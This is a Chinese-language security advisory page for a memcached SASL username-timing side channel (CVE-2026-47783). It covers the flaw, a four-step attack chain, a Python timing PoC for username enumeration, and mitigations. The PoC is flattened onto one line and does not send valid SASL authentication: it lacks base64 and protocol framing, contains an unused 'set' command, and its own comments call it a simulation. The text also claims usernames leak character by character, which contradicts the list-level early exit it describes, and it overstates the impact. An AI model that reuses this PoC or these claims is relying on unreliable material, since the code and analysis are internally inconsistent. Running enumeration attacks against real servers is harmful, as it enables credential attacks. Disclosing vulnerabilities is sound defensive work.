IPBUF安全漏洞报告
English
CVE-2026-47783 CVSS 8.1 高危

CVE-2026-47783 memcached SASL认证时序侧信道漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-47783
漏洞类型
时序攻击
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
memcached

相关标签

时序攻击memcached侧信道认证绕过信息泄露

漏洞概述

memcached在1.6.42之前的版本中存在严重的安全漏洞,该漏洞位于SASL密码数据库认证的用户名验证逻辑中。具体而言,`sasl_server_userdb_checkpass`函数在遍历用户列表时,一旦发现匹配的用户名便会立即退出循环。这种非恒定时间的处理方式引入了时序侧信道,使得攻击者能够通过分析服务器响应时间的细微差异来判断用户名的有效性。由于该漏洞无需用户交互且可被远程利用,攻击者借此可枚举出系统内的有效账户信息。这不仅破坏了系统的匿名性,还可能为进一步的暴力破解攻击提供关键目标,从而对系统的机密性、完整性和可用性构成严重威胁。

技术细节

漏洞的核心机制在于memcached未对用户名比较操作实施恒定时间算法。在受影响的版本中,`sasl_server_userdb_checkpass`函数负责验证用户凭据,其内部循环会逐一比对输入的用户名与数据库中的记录。当输入的用户名匹配到列表中的某一个条目时,循环立即中断并返回成功;反之,若用户名不存在,循环将完整遍历整个列表。这种逻辑上的差异导致了执行时间的不同。攻击者可以通过向服务器发送大量精心构造的SASL认证请求,并精确测量每个请求的响应时间。尽管网络波动会引入噪音,但通过统计学方法(如T检验或计算平均值),攻击者可以显著区分“用户名存在”和“用户名不存在”两种情况的时间特征。利用这一侧信道,攻击者可以逐个字符地爆破出有效的用户名列表。一旦获得有效用户名,攻击者便可针对性地进行密码猜测,极大地降低了认证系统的安全性。修复该漏洞的关键在于修改代码逻辑,确保无论比较结果如何,验证过程所消耗的时间保持一致。

攻击链分析

STEP 1
侦察
攻击者扫描目标网络,发现开放的memcached服务端口(通常为11211),并确认开启了SASL认证功能。
STEP 2
时序分析
攻击者向目标发送大量包含不同用户名的SASL认证请求,并精确记录每个请求的响应时间。
STEP 3
用户枚举
通过统计学分析响应数据,识别出响应时间异常(通常较短)的请求,推断出系统中存在的有效用户名。
STEP 4
凭证破解
利用枚举出的有效用户名,进行针对性的密码暴力破解或字典攻击,试图获取系统的完全访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import time import sys # Configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 11211 USERNAME_LIST = ['admin', 'user', 'test', 'root', 'guest'] def send_sasl_auth(username): """ Sends a SASL PLAIN authentication attempt and measures timing. Note: This is a simplified PoC for demonstration purposes. """ try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) start_time = time.time() s.connect((TARGET_HOST, TARGET_PORT)) # SASL PLAIN Auth command format # Format: <auth mechanism name> <base64(authzid\0username\0password)> # We use a dummy password, we only care about the username timing check. # In a real attack, base64 encoding is required. auth_payload = f"PLAIN {username}\0{username}\0dummy_pass" # Sending the command (memcached protocol) command = f"set {username} 0 0 0\r\n\r\n" # Just a ping to keep connection alive if needed, or raw auth # Actual SASL command structure varies, here we simulate the interaction path. # Assuming a direct interaction for the sake of the timing example: s.sendall(auth_payload.encode()) # Wait for response response = s.recv(1024) end_time = time.time() s.close() return end_time - start_time except Exception as e: print(f"Error connecting: {e}") return -1 def attack(): print(f"[*] Starting timing side-channel analysis against {TARGET_HOST}:{TARGET_PORT}") timings = {} for user in USERNAME_LIST: # Perform multiple attempts to average out network noise samples = [] for _ in range(10): duration = send_sasl_auth(user) if duration > 0: samples.append(duration) if samples: avg_time = sum(samples) / len(samples) timings[user] = avg_time print(f"[+] Username: {user:<10} | Avg Response Time: {avg_time:.6f}s") print("\n[*] Analysis complete.") # In a real attack, lower times might indicate an early exit (valid user found early) # or higher times might indicate full traversal (invalid user). # This depends entirely on the specific implementation order in the database. if __name__ == "__main__": attack()

影响范围

memcached < 1.6.42

防御指南

临时缓解措施
如果无法立即升级版本,建议在网络边界严格限制对memcached服务的访问,禁止公网直接访问。此外,可以暂时禁用SASL认证(如果业务允许)或配置强密码策略,增加攻击者即使获取用户名后进行暴力破解的难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表